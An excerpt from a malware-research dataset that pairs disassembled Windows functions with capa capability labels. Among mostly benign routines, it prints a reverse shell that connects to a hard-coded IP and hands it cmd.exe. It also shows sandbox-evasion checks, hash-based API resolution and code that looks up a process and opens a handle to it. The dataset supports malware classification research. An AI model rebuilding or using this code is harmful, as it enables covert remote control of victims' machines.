joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14008ff70
Capabilities:
Encode data using xor

Disassembly:
push rdi
sub rsp, 0x30
mov edx, edx
mov r10, rcx
mov dword [rcx], 0x4000400
mov r9d, 0x400
mov qword [rsp + 0x58], rdx
test rdx, rdx
je 0x14008ffed
lea rax, [rcx + 8]
mov ecx, edx
nop word [rax + rax]
mov dword [rax - 4], 0x4000400
mov dword [rax], 0x4000400
mov dword [rax + 4], 0x4000400
mov dword [rax + 8], 0x4000400
mov dword [rax + 0xfc], 0x4000400
mov dword [rax + 0x100], 0x4000400
mov dword [rax + 0x104], 0x4000400
mov dword [rax + 0x108], 0x4000400
lea rax, [rax + 0x10]
sub rcx, 1
jne 0x14008ffa0
movzx eax, r9w
lea rdi, [r10 + 0x204]
mov ecx, 0x100
rep stosw word [rdi], ax
test r8b, r8b
jne 0x140090166
xor eax, eax
mov qword [rsp + 0x40], rax
test rdx, rdx
je 0x140090166
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x28], rbp
lea rbp, [0x1400aeec0]
mov qword [rsp + 0x20], rsi
mov qword [rsp + 0x18], r12
mov qword [rsp + 0x10], r13
mov qword [rsp + 8], r14
mov qword [rsp], r15
mov esi, dword [r10 + 0x4804]
lea rdi, [0x1400aeec0]
mov r14d, eax
xor r8d, r8d
imul r12, r14, 0x440
mov dword [r10 + r14*4 + 0x4808], esi
movzx ecx, word [r10]
add r12, 0x404
mov eax, ecx
add r12, r10
xor rcx, 0x7f0
shr rax, 4
shr rcx, 4
movzx ebp, byte [rax + rbp]
movzx edx, byte [rcx + rdi]
movzx ecx, word [r10 + 2]
mov eax, ecx
mov dword [rsp + 0x50], ebp
xor rcx, 0x7f0
shr rax, 4
shr rcx, 4
movzx r15d, byte [rax + rdi]
movzx r13d, byte [rcx + rdi]
add r15d, edx
add r13d, edx
test esi, esi
je 0x140090125
mov rbx, r12
nop dword [rax]
cmp r8d, 8
jae 0x14009016c
xor r9d, r9d
lea edi, [r8 + 8]
lea r11, [r14*8]
lea rbp, [0x1400aeec0]
mov ecx, edi
shr edi, 1
and ecx, 1
mov eax, edi
add rax, r11
movzx edx, word [r10 + rax*2 + 4]
mov eax, ecx
neg eax
shr rdx, 4
shr rax, 4
and eax, 0x7f
xor rdx, rax
movzx eax, byte [rdx + rbp]
add r9d, eax
cmp edi, 1
jne 0x1400900e0
mov eax, dword [rsp + 0x50]
inc r8d
add eax, r9d
mov dword [rbx], eax
add rbx, 4
cmp r8d, esi
jb 0x1400900c0
lea rbp, [0x1400aeec0]
mov rax, qword [rsp + 0x40]
inc rax
mov qword [rsp + 0x40], rax
cmp rax, qword [rsp + 0x58]
jb 0x140090042
mov r15, qword [rsp]
mov r14, qword [rsp + 8]
mov r13, qword [rsp + 0x10]
mov r12, qword [rsp + 0x18]
mov rsi, qword [rsp + 0x20]
mov rbp, qword [rsp + 0x28]
mov rbx, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret
cmp r8d, esi
jae 0x140090125
lea rbx, [r12 + r8*4]
lea rbp, [0x1400aeec0]
nop dword [rax]
cmp r8d, 0x10
jae 0x1400901de
xor r9d, r9d
lea r11, [r14*8]
mov edi, r8d
mov ecx, edi
shr edi, 1
and ecx, 1
mov eax, edi
add rax, r11
movzx edx, word [r10 + rax*2 + 0x104]
mov eax, ecx
neg eax
shr rdx, 4
shr rax, 4
and eax, 0x7f
xor rdx, rax
movzx eax, byte [rdx + rbp]
add r9d, eax
cmp edi, 1
jne 0x140090194
lea eax, [r9 + r15]
inc r8d
mov dword [rbx], eax
add rbx, 4
cmp r8d, esi
jb 0x140090180
jmp 0x14009012c
lea r11, [r12 + r8*4]
xor r9d, r9d
lea eax, [r8 + 0xf0]
nop dword [rax]
mov ecx, eax
shr eax, 1
and ecx, 1
neg ecx
shr rcx, 4
movzx edi, word [r10 + rax*2 + 0x204]
and ecx, 0x7f
shr rdi, 4
xor rdi, rcx
movzx ecx, byte [rdi + rbp]
add r9d, ecx
cmp eax, 1
jne 0x1400901f0
lea eax, [r9 + r13]
inc r8d
mov dword [r11], eax
add r11, 4
cmp r8d, esi
jb 0x1400901e2
jmp 0x14009012c
Function at 0x140092990
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x1400929c0
xor eax, eax
jmp 0x140092a83
mov rbp, rbx
cmp word [rax], si
je 0x1400929e5
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x1400929cc
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x1400929c8
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.140041abc
movsxd r14, eax
test eax, eax
jne 0x140092a23
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x1400929b9
mov rcx, r14
call fcn.14001f8c8
mov rdi, rax
test rax, rax
jne 0x140092a3c
xor ecx, ecx
call fcn.14001f88c
jmp 0x140092a18
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.140041abc
test eax, eax
jne 0x140092a6d
mov rcx, rdi
call fcn.14001f88c
jmp 0x140092a77
xor ecx, ecx
call fcn.14001f88c
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret

Function at 0x140092aa0
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x140092b27
mov rsi, rbx
cmp word [rax], bp
je 0x140092ae6
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x140092ad0
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x140092acc
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.14001f8c8
mov rdi, rax
test rax, rax
je 0x140092b14
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.14001df90
mov rbp, rdi
xor ecx, ecx
call fcn.14001f88c
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x140093f10
Capabilities:
Encode data using xor

Disassembly:
push rdi
mov r10d, dword [rcx + 0xb94]
mov r11, rcx
mov ecx, 8
sub ecx, r10d
shr r8d, cl
mov ecx, r10d
mov eax, dword [r11 + 0xb98]
xor r10d, r10d
and eax, edx
shl eax, cl
mov ecx, dword [rsp + 0x38]
add r8d, eax
add ecx, 0x100
lea rdi, [r8 + r8*2]
shl rdi, 9
add rdi, r11
lea r11, [0x1400aeec0]
test r9b, r9b
jne 0x140093f96
nop dword [rax]
mov r8d, ecx
shr ecx, 1
and r8d, 1
neg r8d
shr r8, 4
movzx r9d, word [rdi + rcx*2 + 0xb9c]
and r8d, 0x7f
shr r9, 4
xor r9, r8
movzx edx, byte [r9 + r11]
add r10d, edx
cmp ecx, 1
jne 0x140093f60
mov eax, r10d
pop rdi
ret
mov qword [rsp + 0x10], rbx
mov r9d, 0x100
mov ebx, dword [rsp + 0x30]
nop word [rax + rax]
mov edx, ecx
add ebx, ebx
shr edx, 8
mov eax, r9d
and eax, ebx
add eax, r9d
add edx, eax
movzx r8d, word [rdi + rdx*2 + 0xb9c]
mov edx, ecx
shr edx, 7
add ecx, ecx
and edx, 1
shr r8, 4
neg edx
shr rdx, 4
and edx, 0x7f
xor r8, rdx
movzx eax, byte [r8 + r11]
add r10d, eax
mov eax, ebx
xor eax, ecx
not eax
and r9d, eax
cmp ecx, 0x10000
jb 0x140093fb0
mov rbx, qword [rsp + 0x10]
mov eax, r10d
pop rdi
ret
Function at 0x140094010
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
push r15
mov r14d, 4
lea rbx, [rcx + 0x10290]
mov ebp, r14d
lea rsi, [rcx + 0x10698]
mov r10, rcx
lea r15, [0x1400aeec0]
xor edi, edi
nop dword [rax + rax]
mov eax, dword [r10 + 0x10e90]
xor r11d, r11d
test eax, eax
je 0x1400940b7
nop
xor r9d, r9d
lea eax, [r11 + 0x40]
nop word [rax + rax]
mov edx, eax
shr eax, 1
and edx, 1
mov ecx, eax
add rcx, rdi
movzx r8d, word [r10 + rcx*2 + 0x6efc]
mov ecx, edx
neg ecx
shr r8, 4
shr rcx, 4
and ecx, 0x7f
xor r8, rcx
movzx ecx, byte [r8 + r15]
add r9d, ecx
cmp eax, 1
jne 0x140094070
mov dword [rbx + r11*4], r9d
inc r11d
mov eax, dword [r10 + 0x10e90]
cmp r11d, eax
jb 0x140094060
mov edx, 0xe
cmp eax, edx
jbe 0x1400940e0
mov eax, edx
lea rcx, [rbx + rax*4]
mov eax, edx
shr eax, 1
inc edx
shl eax, 4
sub eax, 0x50
add dword [rcx], eax
cmp edx, dword [r10 + 0x10e90]
jb 0x1400940c0
nop dword [rax]
mov eax, dword [rbx]
add rdi, 0x40
mov dword [rsi - 8], eax
mov eax, dword [rbx + 4]
mov dword [rsi - 4], eax
mov eax, dword [rbx + 8]
mov dword [rsi], eax
mov eax, dword [rbx + 0xc]
add rbx, 0x100
mov dword [rsi + 4], eax
add rsi, 0x200
sub rbp, 1
jne 0x140094050
lea rdi, [r10 + 0x10aa0]
nop dword [rax]
cmp r14d, 4
ja 0x14009412b
mov edx, r14d
jmp 0x14009413d
bsr edx, r14d
mov eax, r14d
lea ecx, [rdx - 1]
shr eax, cl
and eax, 1
lea edx, [rax + rdx*2]
mov r9d, edx
mov r11d, edx
shr r9d, 1
mov eax, edx
and eax, 1
dec r9d
or eax, 2
mov ecx, r9d
shl eax, cl
mov ebx, r14d
sub ebx, eax
mov ebp, eax
xor r8d, r8d
lea esi, [r8 + 1]
mov eax, esi
mov edx, ebx
sub rax, r11
shr ebx, 1
add rax, rbp
and edx, 1
movzx ecx, word [r10 + rax*2 + 0x70fa]
lea esi, [rdx + rsi*2]
mov eax, edx
shr rcx, 4
neg eax
shr rax, 4
and eax, 0x7f
xor rcx, rax
movzx eax, byte [rcx + r15]
add r8d, eax
add r9d, 0xffffffff
jne 0x140094164
mov ecx, dword [r10 + r11*4 + 0x10290]
inc r14d
add ecx, r8d
mov dword [rdi - 0x400], ecx
mov ecx, dword [r10 + r11*4 + 0x10390]
add ecx, r8d
mov dword [rdi - 0x200], ecx
mov ecx, dword [r10 + r11*4 + 0x10490]
add ecx, r8d
mov dword [rdi], ecx
mov ecx, dword [r10 + r11*4 + 0x10590]
add ecx, r8d
mov dword [rdi + 0x200], ecx
add rdi, 4
cmp r14d, 0x80
jb 0x140094120
mov rbx, qword [rsp + 0x18]
mov rbp, qword [rsp + 0x20]
mov rsi, qword [rsp + 0x28]
mov rdi, qword [rsp + 0x30]
mov dword [r10 + 0x10e94], r9d
pop r15
pop r14
ret
Function at 0x140011032
Capabilities:
Get memory capacity
Get system information on windows

Disassembly:
jmp 0x1400128f0
push rbp
push rdi
sub rsp, 0x268
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x5a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14001f240]
xor rax, rbp
mov qword [rbp + 0x218], rax
lea rcx, [0x14002522e]
call fcn.1400113f2
nop
mov dword [rbp + 0x10], 0x40
mov qword [rbp + 0x68], 0
lea rcx, [rbp + 0x10]
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
test eax, eax
jne 0x140012952
xor eax, eax
jmp 0x140012a71
xor edx, edx
mov rax, qword [rbp + 0x18]
mov ecx, 0x100000
div rcx
mov qword [rbp + 0x68], rax
lea rcx, [rbp + 0x88]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
nop
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 3
xor edx, edx
lea rcx, str..PhysicalDrive0
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rbp + 0xd8], rax
mov qword [rsp + 0x38], 0
lea rax, [rbp + 0x124]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0x18
lea rax, [rbp + 0xf8]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x70000
mov rcx, qword [rbp + 0xd8]
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
nop
mov eax, dword [rbp + 0x104]
mov rcx, qword [rbp + 0xf8]
imul rcx, rax
mov rax, rcx
mov ecx, dword [rbp + 0x108]
imul rax, rcx
mov ecx, dword [rbp + 0x10c]
imul rax, rcx
cqo
and rdx, 0x3ff
add rax, rdx
sar rax, 0xa
cqo
and rdx, 0x3ff
add rax, rdx
sar rax, 0xa
cqo
and rdx, 0x3ff
add rax, rdx
sar rax, 0xa
mov qword [rbp + 0x148], rax
cmp qword [rbp + 0x68], 0x800
jbe 0x140012a68
cmp dword [rbp + 0xa8], 2
jb 0x140012a68
cmp qword [rbp + 0x148], 0x64
jge 0x140012a6c
xor eax, eax
jmp 0x140012a71
mov eax, 1
mov rdi, rax
lea rcx, [rbp - 0x40]
lea rdx, [0x14001c350]
call fcn.14001136b
mov rax, rdi
mov rcx, qword [rbp + 0x218]
xor rcx, rbp
call fcn.1400111e5
lea rsp, [rbp + 0x228]
pop rdi
pop rbp
ret

Function at 0x14001123a
Capabilities:
Terminate process

Disassembly:
jmp 0x1400142b0
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
add rsp, 0x28
ret
Function at 0x140011244
Capabilities:
Enumerate processes

Disassembly:
jmp 0x1400123b0
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x468
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0xb2
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x488]
mov rax, qword [0x14001f240]
xor rax, rbp
mov qword [rbp + 0x438], rax
lea rcx, [0x140025169]
call fcn.1400113f2
nop
mov qword [rbp + 8], 0
mov qword [rbp + 0x28], 0
mov edx, 0xefe297c0
mov ecx, 0x77336ee6
call fcn.140011465
mov qword [rbp + 0x2a8], rax
cmp qword [rbp + 0x2a8], 0
jne 0x140012449
lea rcx, str._x__Failed_to_get_Address_for_oProcess
call qword [sym.imp.ucrtbased.dll_puts]
nop
xor eax, eax
jmp 0x14001257e
mov dword [rbp + 0x50], 0x238
xor edx, edx
mov ecx, 0xf
call fcn.1400111d1
mov qword [rbp + 8], rax
cmp qword [rbp + 8], 0xffffffffffffffff
jne 0x14001247c
lea rcx, str._x__Failed_to_take_snapshot.
call qword [sym.imp.ucrtbased.dll_puts]
nop
xor eax, eax
jmp 0x14001257e
lea rdx, [rbp + 0x50]
mov rcx, qword [rbp + 8]
call fcn.140011276
test eax, eax
jne 0x1400124ad
lea rcx, str._x__Process32First___Failed_
call qword [sym.imp.ucrtbased.dll_puts]
nop
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
xor eax, eax
jmp 0x14001257e
lea rdx, [rbp + 0x7c]
mov rcx, qword [rbp + 0x468]
call qword [sym.imp.ucrtbased.dll__wcsicmp]
test eax, eax
jne 0x140012536
lea rcx, str.___Found_Process__Attempting_to_open_handle.
call qword [sym.imp.ucrtbased.dll_puts]
nop
mov r8d, dword [rbp + 0x58]
xor edx, edx
mov ecx, 0x43a
call qword [rbp + 0x2a8]
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x28], 0
jne 0x1400124fc
lea rcx, str._x__Failed_to_get_handle_to_process_:_
call qword [sym.imp.ucrtbased.dll_puts]
nop
jmp 0x140012536
lea rcx, str.___Got_process_handle__:_
call qword [sym.imp.ucrtbased.dll_puts]
nop
mov rax, qword [rbp + 0x460]
mov rcx, qword [rbp + 0x28]
mov qword [rax], rcx
mov rax, qword [rbp + 0x470]
mov ecx, dword [rbp + 0x58]
mov dword [rax], ecx
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov eax, 1
jmp 0x14001257e
lea rdx, [rbp + 0x50]
mov rcx, qword [rbp + 8]
call fcn.140011398
test eax, eax
jne 0x1400124ad
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
cmp qword [rbp + 0x28], 0
je 0x140012568
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rdx, qword [rbp + 0x468]
lea rcx, str._x__Failed_to_find_process__ls_n
call fcn.1400111c7
nop
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x14001be70]
call fcn.14001136b
mov rax, rdi
mov rcx, qword [rbp + 0x438]
xor rcx, rbp
call fcn.1400111e5
lea rsp, [rbp + 0x448]
pop rdi
pop rbp
ret
Function at 0x1400112d0
Capabilities:
Parse pe header

Disassembly:
jmp 0x140015600
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140015620
xor al, al
jmp 0x1400156a1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140015633
xor al, al
jmp 0x1400156a1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14001565d
xor al, al
jmp 0x1400156a1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140015671
xor al, al
jmp 0x1400156a1
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140015683
xor al, al
jmp 0x1400156a1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14001569f
xor al, al
jmp 0x1400156a1
mov al, 1
add rsp, 0x38
ret
Function at 0x140011465
Capabilities:
Resolve function by parsing pe exports

Disassembly:
jmp 0x140017150
mov dword [rsp + 0x10], edx
mov dword [rsp + 8], ecx
push rbp
push rdi
sub rsp, 0x2a8
lea rbp, [rsp + 0x20]
lea rcx, [0x1400250a3]
call fcn.1400113f2
nop
call fcn.140011c50
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov rax, qword [rax + 0x18]
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x28]
mov rax, qword [rax + 0x20]
mov qword [rbp + 0x48], rax
mov rax, qword [rbp + 0x48]
cmp qword [rax + 0x50], 0
je 0x140017352
mov rax, qword [rbp + 0x48]
mov rax, qword [rax + 0x50]
mov qword [rbp + 0x68], rax
mov rax, qword [rbp + 0x48]
movzx eax, word [rax + 0x48]
mov word [rbp + 0x84], ax
movzx edx, word [rbp + 0x84]
mov rcx, qword [rbp + 0x68]
call fcn.140011159
cmp eax, dword [rbp + 0x2a0]
jne 0x140017342
mov rax, qword [rbp + 0x48]
mov rax, qword [rax + 0x20]
mov qword [rbp + 0xa8], rax
mov rax, qword [rbp + 0xa8]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rbp + 0xa8]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0xc8], rax
mov eax, 8
imul rax, rax, 0
mov rcx, qword [rbp + 0xc8]
lea rax, [rcx + rax + 0x88]
mov qword [rbp + 0xe8], rax
mov rax, qword [rbp + 0xe8]
mov eax, dword [rax]
mov rcx, qword [rbp + 0xa8]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x108], rax
mov rax, qword [rbp + 0x108]
mov eax, dword [rax + 0x24]
mov rcx, qword [rbp + 0xa8]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x128], rax
mov rax, qword [rbp + 0x108]
mov eax, dword [rax + 0x20]
mov rcx, qword [rbp + 0xa8]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x148], rax
mov rax, qword [rbp + 0x108]
mov eax, dword [rax + 0x1c]
mov rcx, qword [rbp + 0xa8]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x168], rax
mov rax, qword [rbp + 0x108]
mov eax, dword [rax + 0x14]
mov dword [rbp + 0x184], eax
mov qword [rbp + 0x1a8], 0
jmp 0x1400172cc
mov rax, qword [rbp + 0x1a8]
inc rax
mov qword [rbp + 0x1a8], rax
mov eax, dword [rbp + 0x184]
cmp qword [rbp + 0x1a8], rax
jae 0x140017331
mov r8, qword [rbp + 0x1a8]
mov rdx, qword [rbp + 0x148]
mov rcx, qword [rbp + 0xa8]
call fcn.1400113ed
mov rcx, rax
call fcn.14001116d
cmp eax, dword [rbp + 0x2a8]
jne 0x14001732f
mov rax, qword [rbp + 0x128]
mov rcx, qword [rbp + 0x1a8]
movzx eax, word [rax + rcx*2]
mov r8d, eax
mov rdx, qword [rbp + 0x168]
mov rcx, qword [rbp + 0xa8]
call fcn.14001124e
jmp 0x140017361
jmp 0x1400172bb
lea rcx, str._x__Coudlnt_find_the_function_corresponding_to_the_given_hash_n
call fcn.1400111c7
nop
xor eax, eax
jmp 0x140017361
mov rax, qword [rbp + 0x48]
mov rax, qword [rax]
mov qword [rbp + 0x48], rax
jmp 0x140017194
lea rcx, str._x__Couldnt_find_the_module_corresponding_to_the_given_hash_n
call fcn.1400111c7
nop
xor eax, eax
lea rsp, [rbp + 0x288]
pop rdi
pop rbp
ret
Function at 0x1400134f0
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x68
mov ecx, 1
call fcn.14001141f
movzx eax, al
test eax, eax
jne 0x140013510
mov ecx, 7
call fcn.140011375
nop
mov byte [rsp + 0x20], 0
call fcn.14001138e
mov byte [rsp + 0x21], al
cmp dword [0x14001faa8], 1
jne 0x140013534
mov ecx, 7
call fcn.140011375
nop
jmp 0x14001358c
cmp dword [0x14001faa8], 0
jne 0x140013587
mov dword [0x14001faa8], 1
lea rdx, [0x14001b660]
lea rcx, [0x14001b330]
call fcn.1400111cc
test eax, eax
je 0x140013568
mov eax, 0xff
jmp 0x140013691
lea rdx, [0x14001b220]
lea rcx, [section..rdata]
call fcn.140011384
mov dword [0x14001faa8], 2
jmp 0x14001358c
mov byte [rsp + 0x20], 1
movzx ecx, byte [rsp + 0x21]
call fcn.140011361
call fcn.1400112f3
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp qword [rax], 0
je 0x1400135e9
mov rcx, qword [rsp + 0x30]
call fcn.140011177
movzx eax, al
test eax, eax
je 0x1400135e9
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x50], rax
xor r8d, r8d
mov edx, 2
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call qword [0x140026020]
nop
call fcn.140011325
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp qword [rax], 0
je 0x14001361d
mov rcx, qword [rsp + 0x38]
call fcn.140011177
movzx eax, al
test eax, eax
je 0x14001361d
mov rax, qword [rsp + 0x38]
mov rcx, qword [rax]
call fcn.1400113cf
nop
call fcn.140013740
mov dword [rsp + 0x28], eax
call fcn.1400112d0
movzx eax, al
test eax, eax
jne 0x14001363c
mov ecx, dword [rsp + 0x28]
call fcn.14001105a
nop
movzx eax, byte [rsp + 0x20]
test eax, eax
jne 0x14001364b
call fcn.1400113de
nop
xor edx, edx
mov cl, 1
call fcn.14001115e
mov eax, dword [rsp + 0x28]
jmp 0x140013691
add rsp, 0x68
ret
Function at 0x140001000
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create a process with modified i/o handles and window
Create process on windows
Create process suspended
Create tcp socket
Initialize winsock library
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x70
mov rax, qword [0x140003008]
xor rax, rsp
mov qword [rsp + 0x60], rax
mov ecx, 0x202
lea rdx, [0x1400035a0]
call qword [sym.imp.WS2_32.dll_WSAStartup]
xor edi, edi
mov ebx, 2
mov dword [rsp + 0x28], edi
xor r9d, r9d
mov ecx, ebx
mov dword [rsp + 0x20], edi
lea edx, [rdi + 1]
lea r8d, [rdi + 6]
call qword [sym.imp.WS2_32.dll_WSASocketW]
mov ecx, 0x22ad
mov word [0x1400037a8], bx
mov qword [0x140003598], rax
call qword [sym.imp.WS2_32.dll_htons]
lea rcx, str.141.164.38.31
mov word [0x1400037aa], ax
call qword [sym.imp.WS2_32.dll_inet_addr]
mov rcx, qword [0x140003598]
lea r8d, [rdi + 0x10]
mov qword [rsp + 0x30], rdi
lea rdx, [0x1400037a8]
mov qword [rsp + 0x28], rdi
xor r9d, r9d
mov dword [0x1400037ac], eax
mov qword [rsp + 0x20], rdi
call qword [sym.imp.WS2_32.dll_WSAConnect]
mov rax, qword [0x140003598]
lea rdx, [rsp + 0x50]
movups xmm0, xmmword [str.cmd.exe]
mov qword [0x1400037a0], rax
xor r9d, r9d
mov qword [0x140003798], rax
xor r8d, r8d
mov qword [0x140003790], rax
xor ecx, ecx
lea rax, [0x140003580]
mov dword [0x140003740], 0x68
mov qword [rsp + 0x48], rax
lea rax, [0x140003740]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], 1
mov dword [0x14000377c], 0x101
movups xmmword [rsp + 0x50], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x4082d0
Capabilities:
Write file on windows

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x48
mov rbp, rsp
mov rbx, rcx
mov rsi, rdx
cmp byte [0x007900a8], 0
je 0x408388
mov ecx, 0xfffffff4
call sub.kernel32.dll_GetStdHandle
mov rdi, rax
mov rcx, rsi
call fcn.004112e0
mov rcx, rdi
mov rdx, rsi
mov r8d, eax
lea r9, [rbp + 0x3c]
mov qword [rsp + 0x20], 0
call sub.kernel32.dll_WriteFile
mov ecx, 0xfffffff4
call sub.kernel32.dll_GetStdHandle
mov rsi, rax
mov rcx, qword [0x007300e8]
call fcn.004112e0
mov rcx, rsi
mov rdx, qword [0x007300e8]
mov r8d, eax
lea r9, [rbp + 0x3c]
mov qword [rsp + 0x20], 0
call sub.kernel32.dll_WriteFile
mov ecx, 0xfffffff4
call sub.kernel32.dll_GetStdHandle
mov rsi, rax
mov rcx, rbx
call fcn.004112e0
mov rcx, rsi
mov rdx, rbx
mov r8d, eax
lea r9, [rbp + 0x3c]
mov qword [rsp + 0x20], 0
call sub.kernel32.dll_WriteFile
jmp 0x40839b
xor ecx, ecx
mov rdx, rbx
mov r8, rsi
mov r9d, 0x2010
call sub.user32.dll_MessageBoxA
lea rsp, [rbp + 0x48]
pop rbx
pop rsi
pop rdi
pop rbp
ret

Function at 0x409940
Capabilities:
Accept command line arguments

Disassembly:
push rbp
sub rsp, 0x40
mov rbp, rsp
mov qword [rbp + 0x38], 0
nop
xor eax, eax
mov dword [rbp + 0x2c], eax
call sub.kernel32.dll_GetCommandLineW
mov rcx, rax
lea rdx, [rbp + 0x38]
call fcn.00409850
mov rcx, rax
lea rdx, [rbp + 0x38]
call fcn.00409850
cmp qword [rbp + 0x38], 0
je 0x409985
mov ecx, dword [rbp + 0x2c]
add ecx, 1
mov dword [rbp + 0x2c], ecx
jmp 0x409967
nop
nop
lea rcx, [rbp + 0x38]
call fcn.00410a70
mov eax, dword [rbp + 0x2c]
lea rsp, [rbp + 0x40]
pop rbp
ret